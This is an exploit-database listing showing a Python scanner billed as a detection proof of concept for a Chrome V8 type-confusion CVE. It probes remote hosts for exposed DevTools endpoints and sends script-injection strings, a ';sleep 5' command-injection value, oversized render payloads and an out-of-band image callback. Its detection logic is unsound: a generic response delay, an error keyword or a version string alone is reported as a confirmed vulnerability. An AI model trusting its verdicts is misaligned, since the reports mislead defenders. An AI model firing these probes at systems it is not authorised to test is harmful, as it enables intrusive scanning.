Exploit database

GH-eb93ae99d00a1006eea5c890de099cd2

horkimhab/cve-2026-85046

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-85046

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
horkimhab/cve-2026-85046Revision e54c9dfd86e4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-85046-fankh/poc.py

Suggested starting filePython · 19,225 bytes
#!/usr/bin/env python3
"""
CVE-2026-85046 - Google Chrome V8 Type Confusion PoC
CVSS: 8.8 | CWE: CWE-843
For authorized security testing only.

Note: This CVE affects Chrome browser (client-side). This detection PoC
attempts to identify Chrome-based services or headless Chrome instances
that may expose the vulnerable V8 engine version.
"""

import argparse
import requests
import time
import re
import json
import urllib3
from urllib.parse import urlparse, urljoin

urllib3.disable_warnings()

TIMEOUT = 10
USER_AGENT = "AttackWatch-PoC-Scanner/1.0"
VULNERABLE_VERSION_THRESHOLD = (152, 0, 7977, 82)

# V8 type confusion trigger markers (safe, non-exploitative)
V8_PROBE_MARKER = "V8_TYPE_CONFUSION_PROBE_12345"
ERROR_PROBE_PAYLOADS = [
    "<script>Array.prototype.constructor = null;</script>",
    "<script>Object.defineProperty(Array.prototype,'length',{writable:false});</script>",
    "<!--" + "A" * 5000 + "-->",
]
TIMING_PROBE_PAYLOAD = "/?probe=" + V8_PROBE_MARKER + "&delay=5"


def normalize_target(target):
    """Ensure target has scheme."""
    if not target.startswith(("http://", "https://")):
        target = "http://" + target
    return target.rstrip("/")


def make_request(method, url, verbose=False, **kwargs):
    """Wrapper for HTTP requests with error handling."""
    kwargs.setdefault("timeout", TIMEOUT)
    kwargs.setdefault("verify", False)
    kwargs.setdefault("allow_redirects", True)
    headers = kwargs.pop("headers", {})
    headers.setdefault("User-Agent", USER_AGENT)
    kwargs["headers"] = headers

    if verbose:
        print(f"[*] {method} {url}")

    try:
        return requests.request(method, url, **kwargs)
    except requests.exceptions.Timeout:
        if verbose:
            print(f"[!] Timeout for {url}")
        return None
    except requests.exceptions.ConnectionError as e:
        if verbose:
            print(f"[!] Connection error: {e}")
        return None
    except requests.exceptions.RequestException as e:
        if verbose:
            print(f"[!] Request error: {e}")
        return None


def check_product(target, verbose=False):
    """Stage 1: Product detection (Passive).
    Identify Chrome/Chromium-based service via headers, DevTools endpoint,
    or Chrome-specific indicators.
    """
    if verbose:
        print("[*] Stage 1: Product Detection")

    indicators = {
        "chrome_detected": False,
        "devtools_endpoint": False,
        "server_header": None,
        "evidence": []
    }

    # Check root for Chrome-related headers or content
    resp = make_request("GET", target, verbose=verbose)
    if resp is not None:
        server = resp.headers.get("Server", "")
        x_powered = resp.headers.get("X-Powered-By", "")
        indicators["server_header"] = server

        chrome_signatures = ["chrome", "chromium", "puppeteer", "playwright", "headless"]
        combined = (server + " " + x_powered + " " + resp.text[:5000]).lower()
        for sig in chrome_signatures:
            if sig in combined:
                indicators["chrome_detected"] = True
                indicators["evidence"].append(f"Signature '{sig}' found")
                break

    # Check Chrome DevTools Protocol endpoints
    devtools_paths = ["/json/version", "/json", "/json/list"]
    for path in devtools_paths:
        url = target + path
        resp = make_request("GET", url, verbose=verbose)
        if resp is not None and resp.status_code == 200:
            try:
                data = resp.json()
                if isinstance(data, dict) and ("Browser" in data or "V8-Version" in data):
                    indicators["devtools_endpoint"] = True
                    indicators["chrome_detected"] = True
                    indicators["evidence"].append(f"DevTools endpoint at {path}")
                    indicators["devtools_data"] = data
                    break
                elif isinstance(data, list) and len(data) > 0 and "webSocketDebuggerUrl" in str(data):
                    indicators["devtools_endpoint"] = True
                    indicators["chrome_detected"] = True
                    indicators["evidence"].append(f"DevTools list endpoint at {path}")
                    break
            except (ValueError, json.JSONDecodeError):
                pass

    if verbose:
        print(f"[+] Product detection result: {indicators}")

    return indicators


def parse_chrome_version(version_str):
    """Parse Chrome version string to tuple."""
    if not version_str:
        return None
    match = re.search(r"(\d+)\.(\d+)\.(\d+)\.(\d+)", version_str)
    if match:
        return tuple(int(x) for x in match.groups())
    return None


def check_version(target, product_info=None, verbose=False):
    """Stage 2: Version detection (Passive)."""
    if verbose:
        print("[*] Stage 2: Version Detection")

    result = {
        "potentially_vulnerable": False,
        "version": None,
        "evidence": None
    }

    # If DevTools endpoint provided version data, use it
    if product_info and product_info.get("devtools_data"):
        data = product_info["devtools_data"]
        browser = data.get("Browser", "")
        v8_version = data.get("V8-Version", "")

        version = parse_chrome_version(browser) or parse_chrome_version(v8_version)
        if version:
            result["version"] = ".".join(str(x) for x in version)
            if version < VULNERABLE_VERSION_THRESHOLD:
                result["potentially_vulnerable"] = True
                result["evidence"] = f"Version {result['version']} < 152.0.7977.82"
            else:
                result["evidence"] = f"Version {result['version']} is patched"
            return result

    # Fallback: try to find version in response bodies
    paths = ["/", "/version", "/about"]
    for path in paths:
        url = target + path
        resp = make_request("GET", url, verbose=verbose)
        if resp is not None and resp.text:
            # Look for Chrome/Chromium version patterns
            patterns = [
                r"Chrome/(\d+\.\d+\.\d+\.\d+)",
                r"Chromium/(\d+\.\d+\.\d+\.\d+)",
                r"V8[\s\-_]?[Vv]ersion[:\s]+(\d+\.\d+\.\d+\.\d+)",
            ]
            for pat in patterns:
                m = re.search(pat, resp.text)
                if m:
                    version = parse_chrome_version(m.group(1))
                    if version:
                        result["version"] = m.group(1)
                        if version < VULNERABLE_VERSION_THRESHOLD:
                            result["potentially_vulnerable"] = True
                            result["evidence"] = f"Version {m.group(1)} < 152.0.7977.82 (found at {path})"
                        else:
                            result["evidence"] = f"Version {m.group(1)} is patched"
                        return result

    if verbose:
        print(f"[+] Version detection result: {result}")

    return result


def test_timing_based(target, verbose=False):
    """Stage 3 Method 1: timing_based.
    Send crafted request with delay parameter and JavaScript timing markers,
    measure server-side JS engine processing time delta.
    """
    if verbose:
        print("[*] Stage 3: timing_based active test")

    result = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "timing_based"
    }

    # Baseline request
    baseline_url = target + "/?probe=baseline"
    t0 = time.time()
    baseline_resp = make_request("GET", baseline_url, verbose=verbose)
    baseline_time = time.time() - t0

    if baseline_resp is None:
        return result

    # Payload with sleep-inducing markers passed to potential JS rendering
    payloads = [
        target + TIMING_PROBE_PAYLOAD,
        target + "/?q=" + V8_PROBE_MARKER + ";sleep%205",
        target + "/?html=<script>for(let%20i=0;i<1e7;i++){Array(i%20%25%2010)}</script>",
    ]

    max_delta = 0
    triggering_payload = None
    for payload_url in payloads:
        t0 = time.time()
        resp = make_request("GET", payload_url, verbose=verbose)
        elapsed = time.time() - t0
        delta = elapsed - baseline_time
        if delta > max_delta:
            max_delta = delta
            triggering_payload = payload_url

    if max_delta >= 4.5:
        result["confirmed"] = True
        result["confidence"] = 75
        result["evidence"] = (
            f"Response delay of {max_delta:.2f}s over baseline ({baseline_time:.2f}s) "
            f"observed for payload: {triggering_payload}"
        )
    elif max_delta >= 2.0:
        result["confidence"] = 40
        result["evidence"] = f"Moderate response delay of {max_delta:.2f}s observed"

    return result


def test_error_based(target, verbose=False):
    """Stage 3 Method 2: error_based.
    Send malformed HTML/JS payloads that may trigger V8 type confusion errors
    visible in response body or debug endpoints.
    """
    if verbose:
        print("[*] Stage 3: error_based active test")

    result = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "error_based"
    }

    error_signatures = [
        "TypeError",
        "V8 fatal error",
        "CHECK failed",
        "internal error",
        "SIGSEGV",
        "Type confusion",
        "assertion failed",
        "V8 stack trace",
        "chrome_child.dll",
    ]

    for payload in ERROR_PROBE_PAYLOADS:
        url = target + "/?html=" + requests.utils.quote(payload)
        resp = make_request("GET", url, verbose=verbose)
        if resp is None:
            continue

        body = resp.text or ""
        for sig in error_signatures:
            if sig.lower() in body.lower():
                result["confirmed"] = True
                result["confidence"] = 70
                result["evidence"] = f"Error signature '{sig}' found in response to payload"
                return result

        if resp.status_code >= 500:
            result["confidence"] = max(result["confidence"], 35)
            result["evidence"] = f"HTTP {resp.status_code} triggered by malformed payload"

    # Also test POST with malformed JSON to any /render or /screenshot endpoints
    render_paths = ["/render", "/screenshot", "/pdf", "/html", "/api/render"]
    for path in render_paths:
        url = target + path
        malformed = {"html": "<script>" + "A" * 10000 + "</script>", "url": V8_PROBE_MARKER}
        resp = make_request("POST", url, json=malformed, verbose=verbose)
        if resp is None:
            continue
        body = resp.text or ""
        for sig in error_signatures:
            if sig.lower() in body.lower():
                result["confirmed"] = True
                result["confidence"] = 75
                result["evidence"] = f"Error signature '{sig}' at {path}"
                return result

    return result


def test_response_based(target, callback_url=None, verbose=False):
    """Stage 3 Method 3: response_based.
    Check response bodies of Chrome-related endpoints for sensitive data
    disclosure (V8 version, debug data, memory references).
    """
    if verbose:
        print("[*] Stage 3: response_based active test")

    result = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "response_based"
    }

    # DevTools protocol exposure is itself dangerous and correlates with vulnerability
    devtools_paths = ["/json/version", "/json/list", "/json/protocol"]
    for path in devtools_paths:
        url = target + path
        resp = make_request("GET", url, verbose=verbose)
        if resp is None:
            continue
        if resp.status_code == 200 and resp.text:
            try:
                data = resp.json()
            except (ValueError, json.JSONDecodeError):
                data = None

            if data:
                # Response contains V8/browser version
                content = json.dumps(data) if not isinstance(data, str) else data
                if "V8-Version" in content or "webSocketDebuggerUrl" in content:
                    version_match = re.search(r'"V8-Version"\s*:\s*"([^"]+)"', content)
                    browser_match = re.search(r'"Browser"\s*:\s*"([^"]+)"', content)

                    version_tuple = None
                    if browser_match:
                        version_tuple = parse_chrome_version(browser_match.group(1))
                    if not version_tuple and version_match:
                        version_tuple = parse_chrome_version(version_match.group(1))

                    if version_tuple and version_tuple < VULNERABLE_VERSION_THRESHOLD:
                        result["confirmed"] = True
                        result["confidence"] = 85
                        result["evidence"] = (
                            f"DevTools at {path} exposes vulnerable version "
                            f"{'.'.join(str(x) for x in version_tuple)}"
                        )
                        return result
                    elif version_tuple:
                        result["confidence"] = 20
                        result["evidence"] = (
                            f"DevTools exposed but version "
                            f"{'.'.join(str(x) for x in version_tuple)} is patched"
                        )

    # Callback-based OOB probe (optional)
    if callback_url:
        probe = target + "/?html=" + requests.utils.quote(
            f'<img src="{callback_url}/{V8_PROBE_MARKER}">'
        )
        resp = make_request("GET", probe, verbose=verbose)
        if resp is not None and verbose:
            print(f"[*] Callback probe sent; verify {callback_url} for interaction")

    return result


def check_vulnerability(target, active_test=True, callback_url=None, verbose=False):
    """Main vulnerability check orchestrator."""
    results = {
        "vulnerable": False,
        "confidence": 0,
        "evidence": None,
        "method": None,
        "stage": None
    }

    # Stage 1: Product Detection
    product_info = check_product(target, verbose=verbose)
    if not product_info.get("chrome_detected"):
        if verbose:
            print("[-] No Chrome/Chromium indicators found")
        results["evidence"] = "Target does not appear to expose Chrome/Chromium"
        results["confidence"] = 80
        return results

    results["stage"] = "product_detection"
    results["evidence"] = "; ".join(product_info.get("evidence", []))

    # Stage 2: Version Detection
    version_result = check_version(target, product_info=product_info, verbose=verbose)
    if version_result.get("potentially_vulnerable"):
        results["stage"] = "version_check"
        results["confidence"] = 40
        results["evidence"] = version_result.get("evidence")
        results["method"] = "version_string"

    # Stage 3: Active Testing
    if active_test:
        test_functions = [
            lambda: test_timing_based(target, verbose=verbose),
            lambda: test_error_based(target, verbose=verbose),
            lambda: test_response_based(target, callback_url=callback_url, verbose=verbose),
        ]

        best_confidence = results["confidence"]
        for test_func in test_functions:
            test_result = test_func()
            if test_result.get("confirmed"):
                results["vulnerable"] = True
                results["confidence"] = max(best_confidence, test_result.get("confidence", 0))
                results["evidence"] = test_result.get("evidence")
                results["method"] = test_result.get("method")
                results["stage"] = "active_test"
                return results
            elif test_result.get("confidence", 0) > best_confidence:
                best_confidence = test_result["confidence"]
                results["confidence"] = best_confidence
                results["evidence"] = test_result.get("evidence") or results["evidence"]
                results["method"] = test_result.get("method")

        # If version check indicated vulnerability but active tests couldn't confirm
        if version_result.get("potentially_vulnerable"):
            results["vulnerable"] = True
            results["confidence"] = max(results["confidence"], 50)
            results["stage"] = "version_check"
            results["method"] = results["method"] or "version_string"
            results["evidence"] = results["evidence"] or version_result.get("evidence")

    return results


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-85046 Chrome V8 Type Confusion Detection PoC - Detection Only"
    )
    parser.add_argument("-t", "--target", required=True, help="Target URL")
    parser.add_argument("-c", "--check", action="store_true", help="Run vulnerability check")
    parser.add_argument("--version-only", action="store_true", help="Passive version check only")
    parser.add_argument("--callback", help="Callback URL for OOB detection (e.g., interact.sh)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")

    args = parser.parse_args()

    global TIMEOUT
    TIMEOUT = args.timeout

    target = normalize_target(args.target)

    try:
        if args.version_only:
            product_info = check_product(target, verbose=args.verbose)
            version_result = check_version(target, product_info=product_info, verbose=args.verbose)
            if version_result.get("potentially_vulnerable"):
                print("[POTENTIALLY VULNERABLE]")
                print(f"Confidence: 40%")
                print(f"Evidence: {version_result.get('evidence')}")
                print(f"Method: version_string")
                print(f"Stage: version_check")
                print("Note: Version-only check - active testing recommended")
                exit(1)
            else:
                print("[NOT VULNERABLE]")
                print(f"Confidence: 80%")
                print(f"Evidence: {version_result.get('evidence') or 'No vulnerable version detected'}")
                print(f"Stage: version_check")
                exit(0)

        result = check_vulnerability(
            target,
            active_test=True,
            callback_url=args.callback,
            verbose=args.verbose
        )

        if result["vulnerable"]:
            print("[VULNERABLE]")
            print(f"Confidence: {result['confidence']}%")
            print(f"Evidence: {result['evidence']}")
            print(f"Method: {result['method']}")
            print(f"Stage: {result['stage']}")
            exit(1)
        else:
            print("[NOT VULNERABLE]")
            print(f"Confidence: {100 - result['confidence']}%")
            print(f"Evidence: {result['evidence'] or 'No vulnerability indicators found'}")
            print(f"Method: {result['method'] or 'multi-stage'}")
            print(f"Stage: {result['stage'] or 'product_detection'}")
            exit(0)

    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        exit(2)
    except Exception as e:
        print(f"[ERROR] {e}")
        exit(2)


if __name__ == "__main__":
    main()